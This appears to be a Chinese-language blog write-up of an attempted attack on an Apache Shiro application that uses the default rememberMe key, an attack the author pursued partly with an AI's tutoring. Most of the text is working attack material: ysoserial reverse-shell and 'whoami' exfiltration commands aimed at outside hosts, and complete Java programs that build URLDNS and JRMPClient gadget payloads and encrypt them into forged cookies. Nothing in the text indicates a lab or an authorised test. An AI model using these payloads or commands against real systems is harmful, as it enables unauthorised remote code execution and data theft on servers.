验证

一把梭没梭出来,默认key,但是无链

然后用shiro_tool测试有没有别的利用方式

然后用urldns验证了下,有出网请求

利用失败(JRMPClient)

踩坑

尝试反弹shell

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -i >& /dev/tcp/x.x.x.x/404 0>&1"


没弹回来

base64编码一下命令

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,xxx}|{base64,-d}|{bash,-i}"

还是没弹啊,换利用链试试,没想到别的方法,就一个个手打测试,终于有了

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsBeanutils1 "ping yso.aggjiwmipb.zaza.eu.org"


执行命令外带看看

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsBeanutils1 "ping `whoami`.aggjiwmipb.zaza.eu.org"


卡半天才出来
反弹shell依旧失败
ps:后续在另一篇文章看到,其实这个请求可以算是误报,不能作为rce的依据,所以还是要继续分析

urldns探测依赖

用星落安全的一个工具进行urldns探测依赖

感觉必须要跟代码了,到这一步完全不会了,先记录一下依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
javax.naming.spi.ObjectFactory
sun.rmi.transport.tcp.TCPEndpoint
sun.rmi.server.UnicastRef
sun.rmi.transport.LiveRef
javax.naming.Reference
javax.naming.InitialContext
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
javax.sql.rowset.BaseRowSet
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
org.codehaus.groovy.runtime.ConvertedClosure
groovy.lang.GroovyObject
com.sun.rowset.JdbcRowSetImpl
groovy.lang.Closure
org.codehaus.groovy.runtime.GroovyCategorySupport
org.codehaus.groovy.runtime.MethodClosure
java.lang.reflect.Proxy
org.apache.commons.collections.comparators.TransformingComparator
org.apache.commons.beanutils.BeanComparator
java.util.TreeMap
java.util.HashMap
java.lang.reflect.InvocationHandler
java.util.PriorityQueue
org.apache.commons.collections.map.TransformedMap
org.apache.commons.beanutils.PropertyUtils
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections.functors.ChainedTransformer
org.apache.commons.collections.keyvalue.TiedMapEntry
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
org.apache.commons.collections.functors.ConstantTransformer
org.apache.commons.collections.functors.InvokerTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.commons.collections.Transformer
org.apache.commons.collections.map.LazyMap

利用学习针对shiro的java反序列化

先研究下整个过程,先验证密钥,首先有个构造数据的java文件以及shirojar
└─GenRememberMe.java
└─shiro-core-1.7.1.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.SecureRandom;
import java.util.Base64;
import org.apache.shiro.subject.SimplePrincipalCollection;

// 演示对象(无任何危险行为)
class DemoObject implements Serializable {
private static final long serialVersionUID = 1L;
public String msg = "shiro-test";
}

public class GenRememberMe {

// 密钥
private static final String SHIRO_KEY = "kPH+bIxk5D2deZiIxcaaaA==";

public static void main(String[] args) throws Exception {

byte[] serializedData;
if (args != null && args.length > 0) {
serializedData = Files.readAllBytes(Paths.get(args[0]));
} else {
Object obj = new SimplePrincipalCollection("test", "realm");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
oos.close();
serializedData = bos.toByteArray();
}

/* ---------- ③ AES-CBC 加密 ---------- */
byte[] keyBytes = Base64.getDecoder().decode(SHIRO_KEY);
SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");

// 随机 IV(16 字节)
byte[] iv = new byte[16];
SecureRandom random = new SecureRandom();
random.nextBytes(iv);
IvParameterSpec ivSpec = new IvParameterSpec(iv);

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);

byte[] encrypted = cipher.doFinal(serializedData);

/* ---------- ④ 拼接 IV + 密文 ---------- */
byte[] finalPayload = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, finalPayload, 0, iv.length);
System.arraycopy(encrypted, 0, finalPayload, iv.length, encrypted.length);

/* ---------- ⑤ Base64 ---------- */
String rememberMe = Base64.getEncoder().encodeToString(finalPayload);

System.out.println("rememberMe=");
System.out.println(rememberMe);
}
}
1
javac -encoding UTF-8 -cp ".;shiro-core-1.7.1.jar" GenRememberMe.java
1
java  -cp ".;shiro-core-1.7.1.jar" GenRememberMe

得到需要的测试数据

然后发包,直接返回cookie而不是rememberMe=deleteMe;代表所用密钥正确

但是不能用这个作为判断的依据,尝试有urldns链探测也是显示
Set-Cookie: rememberMe=deleteMe; Path=/scm; Max-Age=0; Expires=Wed, 14-Jan-2026 06:50:38 GMT
所以关键要看请求,但是验证密钥可以用之前的代码,然后用urldns探测依赖的话可以这样
接下来,按照我的理解以及ai的教学,就是要枚举依赖版本然后拼链,但是可以先分析下探测到的这些有效依赖
org.apache.commons.collections.functorsmap.LazyMap(不是 collections4),这基本锁定为 CC 3.x 系列
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplCommonsBeanutilsTemplatesImpl 链也可行
存在 groovy*Groovy1 链也可测
com.sun.rowset.JdbcRowSetImpl,JNDI 链可尝试但受 JDK 安全策略影响较大
根据分析无需枚举版本了,接下来先手工还原urldns探测请求
GenUrlDnsPayload.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class GenUrlDnsPayload {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java GenUrlDnsPayload <dnslog_url> <output_file>");
System.out.println("Example: java GenUrlDnsPayload http://xxx.dnslog.cn urldns.bin");
return;
}

String urlStr = args[0];
String outFile = args[1];

// 1. Create HashMap
HashMap<URL, String> map = new HashMap<>();

// 2. Create URL object
URL url = new URL(urlStr);

// 3. To prevent triggering DNS query during payload generation, modify hashCode first
// URL hashCode is -1 by default. When hashCode != -1, HashMap.put won't trigger DNS query
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
// Set to a value not equal to -1
hashCodeField.set(url, 1234);

// 4. Put URL into HashMap
map.put(url, "shiro-urldns-test");

// 5. Reset hashCode to -1
// This ensures that during deserialization, HashMap recomputes key's hashCode,
// finds it's -1, and calls URLStreamHandler.hashCode() triggering DNS query
hashCodeField.set(url, -1);

// 6. Serialize object to file
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(outFile))) {
oos.writeObject(map);
}

System.out.println("URLDNS Payload has been generated to: " + outFile);
}
}

然后编译

1
javac -encoding UTF-8 GenUrlDnsPayload.java

生成原始反序列化数据

1
java GenUrlDnsPayload http://urldnstest.mcrtzxujgk.iyhc.eu.org urldns.bin

使用 GenRememberMe 加密 Payload(利用已有的 GenRememberMe

1
java -cp ".;shiro-core-1.7.1.jar" GenRememberMe urldns.bin


然后用这个数据发送,测试显示确实能接收到请求

一步步排查,然后就是拷打ai根据ysoserial-all.jar的利用链一步步有排查,发现jrmp的记录
jrmp探测代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;

public class GenJrmpPayload {
private static final String SHIRO_KEY = "kPH+bIxk5D2deZiIxcaaaA==";

public static void main(String[] args) throws Exception {
if (args.length < 1) {
System.out.println("Usage: java -cp \".;ysoserial-all.jar\" GenJrmpPayload <dnslog_domain> [output_file]");
return;
}

String domain = args[0];
String outFile = args.length > 1 ? args[1] : null;

// Generate JRMPClient Payload
// JRMPClient arg is "host:port"
// We use port 80 to avoid firewall issues and trigger DNS resolution
String jrmpArg = "jrmptest." + domain + ":80";

System.out.println("[*] Generating JRMPClient Payload for: " + jrmpArg);
Object payload = getPayload("JRMPClient", jrmpArg);

// Serialize
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(payload);
oos.close();
byte[] rawBytes = baos.toByteArray();

// Write raw file if requested
if (outFile != null) {
try (FileOutputStream fos = new FileOutputStream(outFile)) {
fos.write(rawBytes);
}
System.out.println("[*] Raw payload written to: " + outFile);
}

// Encrypt and Print Cookie
String cookie = encrypt(rawBytes);
System.out.println("\n[*] Encrypted Cookie for Manual Testing:");
System.out.println("rememberMe=" + cookie);
}

public static Object getPayload(String gadget, String arg) throws Exception {
Class<?> clazz = Class.forName("ysoserial.payloads." + gadget);
Object instance = clazz.newInstance();
java.lang.reflect.Method method = clazz.getMethod("getObject", String.class);
return method.invoke(instance, arg);
}

private static String encrypt(byte[] payload) throws Exception {
SecretKeySpec key = new SecretKeySpec(Base64.getDecoder().decode(SHIRO_KEY), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecureRandom random = new SecureRandom();
byte[] iv = new byte[16];
random.nextBytes(iv);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
byte[] encrypted = cipher.doFinal(payload);

ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
outputStream.write(iv);
outputStream.write(encrypted);
return Base64.getEncoder().encodeToString(outputStream.toByteArray());
}
}
1
javac -cp ".;ysoserial-all.jar" GenJrmpPayload.java
1
java -cp ".;ysoserial-all.jar" GenJrmpPayload mgvatzbqxb.zaza.eu.org



那又回到原点,还是要用jrmp来打,并且根据讲解,之前失败可能的原因是Payload 过大 :日志显示 CommonsCollections 系列 Payload 普遍超过 4KB,被服务器截断了,通过 JRMP 协议下发真正的 RCE Payload(这时候就不受 HTTP Header 长度限制了)
还是要换链,但就是这一点卡住了,目前貌似是所有链都试过了都没通